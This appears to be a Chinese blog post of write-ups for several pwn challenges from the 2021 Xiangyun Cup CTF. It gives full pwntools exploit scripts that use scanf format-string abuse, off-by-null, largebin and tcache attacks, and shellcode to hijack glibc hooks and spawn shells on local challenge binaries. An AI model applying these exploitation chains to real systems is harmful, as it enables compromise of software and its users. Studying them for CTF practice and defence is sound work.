2021祥云杯部分pwn

note 格式化字符串

本题考查了scanf的格式化字符串利用。一般我们用的都是printf的格式化字符串。这里是scanf

踩坑

一开始没有注意到sendline会多发一个换行符,导致往栈上$7的stdout写入的时候老是写不对,结果发现是多发了。
在这里插入图片描述
scanf的格式化字符利用方式和printf的比较类似,就是不能直接输出。这里注意到栈上有stdout,可以直接往里面写入绕过判断输出libc_info的fbad1800。

step1 获取libc

payload1 = p64(0xfbad1800)+p64(0)*3
say('%13$s\x00\x00\x00')
io.recvuntil('?')
io.sendline(payload1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base = libc_info-0x3c36e0
print "libc_base----->" + hex(libc_base)

step2: 劫持mallochook

这里有尝试过,直接劫持mallochook不太行,还需要用realloc抬栈。如下图所示,为利用scanf写入到reallochook的部分

malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
print "realloc----->" + hex(realloc)
realloc_hook = libc_base+libc.sym['__realloc_hook']


one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

# hijack realloc_hook to one_shot
payload3 = p64(libc_base+one_gadget[1])
say("%8$s\x00\x00\x00\x00"+p64(realloc_hook)+p64(realloc_hook))
io.recvuntil('?')
io.sendline(payload3)

step3:写入malloc_hook为one_gadget

这里比较坑的就是realloc不知道要抬高多少。大概要尝试20多次,并且也只是可能成功。比较理想的方法是写一个爆破脚本,想想应该也不难,和爆破IO_FILE的结构一样即可。

payload2 = p64(realloc+12)
say("%7$s\x00\x00\x00\x00"+p64(malloc_hook))
io.recvuntil('?')
io.send(payload2+'\x0a')

完整exp

from pwn import *
io=process('./note')
elf=ELF('./note')
libc=elf.libc
context.log_level='debug'

def add(size,content):
    io.recvuntil('choice: ')
    io.sendline(str(1))
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.sendline(content)

def say(fmt):
    io.recvuntil('choice')
    io.sendline(str(2))
    io.recvuntil('say ? ')
    io.send(fmt)


def show():
    io.recvuntil('choice')
    io.sendline(str(3))

def debug():
    gdb.attach(io,"brva 0x12ff")
    add(0x0,'aaaa')

def debug_say():
    gdb.attach(io,"brva 1235")


# leak base
# gdb.attach(io,"brva 0x1235")
payload1 = p64(0xfbad1800)+p64(0)*3
say('%13$s\x00\x00\x00')
io.recvuntil('?')
io.sendline(payload1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base = libc_info-0x3c36e0
print "libc_base----->" + hex(libc_base)


# write to realloc
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
print "realloc----->" + hex(realloc)
realloc_hook = libc_base+libc.sym['__realloc_hook']


one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

# hijack realloc_hook to one_shot
payload3 = p64(libc_base+one_gadget[1])
say("%8$s\x00\x00\x00\x00"+p64(realloc_hook)+p64(realloc_hook))
io.recvuntil('?')
io.sendline(payload3)
# debug()

# hijack malloc_hook to realloc
payload2 = p64(realloc+12)
say("%7$s\x00\x00\x00\x00"+p64(malloc_hook))
io.recvuntil('?')
io.send(payload2+'\x0a')
# debug()


io.recvuntil('choice: ')
io.sendline(str(1))
io.recvuntil('size:')
io.sendline(str(0x20))

io.interactive()

pwdfree off-by-null

这道题漏洞点比较明显的就是off-by-null
一开始有一个简单的异或加密,只需要通过第一次泄露获得密钥就可以了

step1 获取密钥

异或上原来内容,就是密钥

# get key
add(0,8,'aaaaaaaa')
io.recvuntil('Save ID:')
encrypt = u64(io.recv(8))
key = encrypt^0x6161616161616161
print "key----->" + hex(key)

step2

后面其实就是基本的off-by-null利用,先从unsortedbin chunk里面获得libc信息,off-by-null得到overlap chunk即可.比较基础和简单

完整exp

from pwn import *
io=process('./pwdFree')
elf=ELF('./pwdFree')
libc=elf.libc
context.log_level='debug'

def add(index,size,con):
    io.recvuntil('Choice:')
    io.sendline(str(1))
    io.recvuntil('Save:')
    io.sendline(str(index))
    io.recvuntil('Length Of Your Pwd:')
    length=len(con)
    io.sendline(str(size))
    io.recvuntil('Pwd:')
    io.sendline(con)

def edit(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(2))
    io.sendline(str(index))
    io.sendline(content)

def show(index):
    io.recvuntil('Choice:')
    io.sendline(str(3))
    io.recvuntil('Which PwdBox You Want Check:')
    io.sendline(str(index))

def delete(index):
    io.recvuntil('Choice:')
    io.sendline(str(4))
    io.recvuntil('Delete:')
    io.sendline(str(index))

def debug():
    gdb.attach(io,"brva 0x1533")
    add(50,0x0,'cc')

#1. get the key from the first output
#2. trigger off-by-null vuln

# get key
add(0,8,'aaaaaaaa')
io.recvuntil('Save ID:')
encrypt = u64(io.recv(8))
key = encrypt^0x6161616161616161
print "key----->" + hex(key)


for i in range(1,12):
    add(i,0xf8,'aaaaaaaa') # seven chunk:1~7 and 2: 8,9,10,11



# 8--->9--->10, 10 is overlapped
add(8,0xf8,p64(key)*30)
for i in range(1,8):
    delete(i)#7->6->5....->1 tcache full
delete(8)
add(1,0xf8,'unnecessary')
delete(9)#into tcache


add(9,0xf8,'s'*0xf0+p64(0x200^key))#overlap to chunk 10,fake prev_size,get from unsortedbin
delete(1)# fill tcache
delete(10)# succeed in fake chunk,size0x300, 9 is critical
# debug()

for i in range(1,8):
    add(i,0xf8,'ssss')# clear tcache
# debug()
add(17,0xf8,'rrrr')
show(2)
libc_info = u64(io.recvuntil('ssss')[-12:-4])
print "libc_info----->" + hex(libc_info)
libc_info = libc_info^key
print "libc_info----->" + hex(libc_info)
# debug()
libc_base = libc_info - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base----->" + hex(libc_base)
print "free_hook----->" + hex(ree_hook)
one_shot = [0x4f3d5,0x4f432,0x10a41c]
add(22,0xf8,'aaaa')#idx10
delete(10)
edit(2,p64(free_hook))
# debug()
add(24,0xf8,'mmmm')
add(25,0xf8,p64((one_shot[1]+libc_base)^key))

# debug()
delete(0)


io.interactive()

pwdpro largebin attack 修改tcache_max

注意到这题libc是2.31版本的,并且题目限制的是堆块大小只能是largebin的,由于2.31检查较为严格,无法使用unsortedbin attack,于是这里考虑largebin attack(因为有明显的uaf)。
这道题也算是我第一次接触largebin attack
下面简单说一下我理解的largebin attack在任意地址写入一个比较大的数值的原理

简单来说,就是当largebin中插入一个chunk的时候,需要制作好这个插入的chunk的fd,fd_nextsize,bk,bk_nextsize字段。假设现在是a----->b这个状态,需要变成a---->c---->b这个状态,那插入c必定要改变的是a的fd,fd_nextsize,b的bk,bk_nextsize,c的fd,fd_nextsize以及c的bk,bk_nextsize。但是由于largebin是倒序遍历的,因此找到这里的chunk a的方法只有从b入手——即b的bk,bk_nextsize字段的地址指定的就是a的位置。那么只需要伪造这两个字段,就可以往这两个字段中写入数据。只不过这里有两个模块,size和物理地址的fd,bk。因此需要在计算偏移上小心一点(bk_nextsize的位置和bk的位置)。

劫持tcache_max的方法网上也没有解释的。其实看源代码不难发现,其实tcache_max_bins决定了tcache的最大bins数目,而这个数目又决定了最大tcache块大小。那么只要把这个数值改大,就可以把largebin放进去,实现任意地址读写了

static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
  .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
  ,
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS, // 要修改的内容
  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),//根据tcache_bins得到最大tcache大小
  .tcache_unsorted_limit = 0 /* No limit.  */
#endif
};

下图为修改后的tcache控制块
在这里插入图片描述
接下来tcache attack即可。此题难点其实就在于largebin attack的布置和绕过。

from pwn import *
io=process('./pwdPro')
elf=ELF('./pwdPro')
libc=elf.libc
context.log_level='debug'

def add(index,size,con):
    io.recvuntil('Choice:')
    io.sendline(str(1))
    io.recvuntil('Which PwdBox You Want Add:')
    io.sendline(str(index))
    io.recvuntil('Save:')
    io.sendline(str(index))
    io.recvuntil('Length Of Your Pwd:')
    length=len(con)
    io.sendline(str(size))
    io.recvuntil('Pwd:')
    io.sendline(con)

def edit(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(2))
    io.sendline(str(index))
    io.sendline(content)

def show(index):
    io.recvuntil('Choice:')
    io.sendline(str(3))
    io.recvuntil('Which PwdBox You Want Check:')
    io.sendline(str(index))

def delete(index):
    io.recvuntil('Choice:')
    io.sendline(str(4))
    io.recvuntil('Delete:')
    io.sendline(str(index))

def recovery(index):
    io.recvuntil('Choice:')
    io.sendline(str(5))
    io.recvuntil('Idx you want 2 Recover:')
    io.sendline(str(index))


def debug():
    gdb.attach(io,"brva 0x158a")
    add(50,0x0,'cc')

# new idea: hijack largebin
add(0,0x500,'aaaaaaaa')
io.recvuntil('Save ID:')
encrypt = u64(io.recv(8))
key = encrypt^0x6161616161616161
print "key----->" + hex(key)

add(1,0x500,'aaaa')
add(2,0x520,'aaaa')
add(3,0x520,'aaaa')
add(7,0x500,"bbbb")
delete(2)
add(4,0x530,'cccc') # put 2 into largebin
recovery(2)
show(2)
io.recvuntil('Pwd is: ')
libc_info = u64(io.recv(8).ljust(8,'\x00'))
libc_info = key^libc_info
libc_base = libc_info-0x1ec010
print "libc_info----->" + hex(libc_info)
print "libc_base----->" + hex(libc_base)
# debug()
delete(0) #why?
# debug()
tcache_max_bins = 0x1eb2d0+libc_base
tcache_struct = libc_base+0x1f3530
payload = p64(0)*3
payload+=p64(tcache_max_bins-0x20) # the place of bk_nextsize
payload = payload.ljust(0x520,'\x00')
edit(2,payload) # 2 is already in largebins
add(5,0x530,'aaaa')# put the deleted 0 chunk into largebins
#  write to bk_nextsize with target addr

# now tcachebin can contain large chunks
delete(1)
delete(7)
recovery(7)
edit(7,p64(libc_base+libc.sym['__free_hook'])+p64(0))
io.recvuntil('Choice:')
io.sendline(str(1))
io.sendlineafter("Which PwdBox You Want Add:\n",str(20))
io.sendlineafter("Input The ID You Want Save:",str(20))
io.sendlineafter("Length Of Your Pwd:",str(0x500))
io.sendlineafter("Your Pwd:","aaaa")
add(0x8,0x500,encode(p64(libc_base+libc.sym["system"]^key).ljust(0x500,'\x00')))
edit(3,"/bin/sh\x00")
gdb.attach(io,"brva 0x199e")
delete(3)

io.interactive()

lemon 劫持tcache控制块+数组越界+uaf

分析

这题应该算是比较难的一道综合题。libc版本是2.26,有点奇怪但是存在tcache double_free,但是文件中加入了对tcache size的检验
在这里插入图片描述

漏洞点首先是colour中的数组越界
在这里插入图片描述通过越界写入stdout可以泄露libc
接下来是add_lemon中的uaf。这个uaf作用其实就是为了解决上面的tcache对块大小的检查,以及uaf修改lemon块的fd,构造tcache doublefree
在这里插入图片描述
后面比较关键的就是劫持tcache管理块,控制分配到上面的tcache地址(这里因为要检查tcache的size,因此选择libc_base+libc.sym['_IO_2_1_stdout_']-0x33的位置写入0x68的块大小,像是fastbin)
之后直接修改stdout的base为一开始读入的栈地址即可,站地址泄露也可以使用劫持stdout实现。由于一开始将flag读到了栈上,由此可以直接打印出来。

exp

这题exp不是我写的,是对着别人的wp调试的
祥云杯wp

from pwn import *
from z3 import *
io=process('./lemon_pwn')
elf=ELF('./lemon_pwn')
context.log_level='debug'
libc=elf.libc

def get_lemon(index,lemon_name,len,data):
    io.recvuntil('>>>')
    io.sendline(str(1))
    io.recvuntil('Input the index of your lemon:')
    io.sendline(str(index))
    io.recvuntil('Now, name your lemon:')
    io.send(lemon_name)
    io.recvuntil('length of message for you lemon:')
    io.sendline(str(len))
    io.recvuntil("Leave your message:")
    io.send(data)

def delete(index):
    io.recvuntil('>>>')
    io.sendline(str(3))
    io.recvuntil('Input the index of your lemon : \n')
    io.sendline(str(index))

def colour(index,data):
    io.recvuntil('>>>')
    io.sendline(str(4))
    io.recvuntil('Input the index of your lemon  :')
    io.sendline(str(index))
    io.recvuntil('Now it\'s your time to draw and color!')
    io.send(data)

def debug():
    gdb.attach(io,"brva 0xFC3")
    get_lemon(0,'cccc',0x68,'llll')


def UAF(idx,payload):
    io.recvuntil('>>>')
    io.sendline(str(1))    
    io.sendlineafter('Input the index of your lemon: \n',str(idx))
    io.sendafter("Now, name your lemon: \n",str(payload))
    io.sendlineafter("Input the length of message for you lemon: \n",str(0x10000))

def show(index):
    io.recvuntil('>>>')
    io.sendline(str(2))    
    io.recvuntil('Input the index of your lemon : ')
    io.sendline(str(index))

def resolve():
    x=BitVec('x', 33)
    x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))
    s=Solver()
    s.add(x^0x6b8b4567==0x13b6db38)
    print s.check()
    result=s.model()
    print result


# resolve()
# pause()

io.recvuntil('Do you wanner play a guess-lemon-color game with me?\n')
io.sendline('yes')
io.sendafter('number:',p64(0x00000001783d9e5e))
io.sendafter('tell me you name first: ','aaaa')

# hijack stdout-struct
get_lemon(0,p64(0)+p64(0x31),0x10,p64(0)+p64(0x31))# the written data ensures the check of tcache(size>0x20 and size< max_system)
colour(str(-0x10c),p64(0xfbad1887)+p64(0)*3+p8(88)) # write into stdout
# debug()
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3db7a3
print "libc_base----->" + hex(libc_base)
UAF(0,p64(0)+p64(0x31))
# debug()
delete(0) #double free_vuln
get_lemon(1,p8(0xc0),0x100,"aaa")# alloc to the size after
get_lemon(1,p64(0)+p64(0x30),0x100,"aaa")#maintain tcache
# debug()
show(1)
io.recvuntil('eat eat eat ')
heap_addr = int(io.recvuntil('.')[:-1],10)
print "heap_addr----->" + hex(heap_addr)

get_lemon(2,p64(libc_base+libc.sym['__free_hook'])+p16(heap_addr-0x2b0+0x10),0x100,"aaa") # change lemon 1's ptr to tcache control block, will be freed into tcache,and satisfy the needs
delete(1) #put control chunk into tcache
# debug()
payload = p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000) #hijack tcache control block,twice
payload+=p64(0)*5+p64(libc_base+libc.sym['_IO_2_1_stdout_']-0x33)*10 # fake free tcache chunk(arbitary address alloc)
get_lemon(3,"aaaa",0x240,payload)
# why add 0x71 here
payload = 'a'*(0x33-0x10)+p64(0x71)*2+p64(0x00000000fbad1887)+p64(0)*3+p64(libc_base+libc.sym["environ"])+p64(libc_base+libc.sym["environ"]+0x10)[0:5]

# debug()
get_lemon(0,"aaaa",0x60,payload) #write to stdout and leak environ
# debug()
stack_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "stack_info----->" + hex(stack_info)
# debug()
# malloc again to reach flag_info inside the stack
# why delete 3: get the chunk of 0x240 to reuse the 0x7f chunk
delete(3)
payload = p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)
payload+=p64(0)*5+p64(libc_base+libc.sym['_IO_2_1_stdout_']-0x33)*10 # fake free tcache chunk(arbitary address alloc)
get_lemon(3,"aaaa",0x240,payload)
# debug()
# why add 0x71 here: meet demands of size-check
payload = 'a'*(0x33-0x10)+p64(0x71)*2+p64(0x00000000fbad1887)+p64(0)*3+p64(stack_info-0x188)+p64(stack_info)[0:5]

# debug()
get_lemon(0,"aaaa",0x60,payload) #write to stdout and leak environ
# debug()
# stack_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
# print "stack_info----->" + hex(stack_info)


io.interactive()

JigSAW

分析

这题实际上是需要自己写一个0x14字节的关键shellcode比较难,也是参考了别人的wp做出来的,巧妙在于利用了部分寄存器的值,降低shellcode的长度
漏洞点在于以%ld向int长度的内容读入数据,以此覆盖随机数,在堆的位置开辟一段rwx空间可以执行shellcode
在这里插入图片描述## exp

from pwn import *
io = process('./JigSAW')
elf=ELF('./JigSAW')
context.log_level='debug'
context.arch="amd64"
libc=elf.libc

def debug():
    gdb.attach(io, "brva 0x17d4")
    add(4)

def add(index):
    io.recvuntil('Choice :')
    io.sendline(str(1))
    io.recvuntil('Index? : ')
    io.sendline(str(index))

def edit(index,content):
    io.recvuntil('Choice :')
    io.sendline(str(2))
    io.recvuntil('Index? : ')
    io.sendline(str(index))
    io.recvuntil('iNput:')
    io.send(content)

def test(index):
    io.recvuntil('Choice :')
    io.sendline(str(4))
    io.recvuntil('Index? : ')
    io.sendline(str(index))


io.recvuntil('Name:')
io.sendline('aaa')
io.recvuntil('Make your Choice:')
# unpack works as turning bytecode into readable word in order to input
io.sendline(str(unpack(p32(15) + p32(0), 64, endian='big', sign=True)))
# shellcode to call read
add(0)
shellcode = """
xor rdi,rdi
mov rsi,rdx
mov rdx,0x1000
syscall
"""
shellcode = asm(shellcode)
edit(0,shellcode)
gdb.attach(io,"brva 0x1c41")
test(0)

payload2 = '\x90'*0x20+asm(shellcraft.sh())
payload2 = payload2.ljust(1000,'\x00')
# the return after syscall executes the shellcode
io.sendline(payload2)


io.interactive()
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值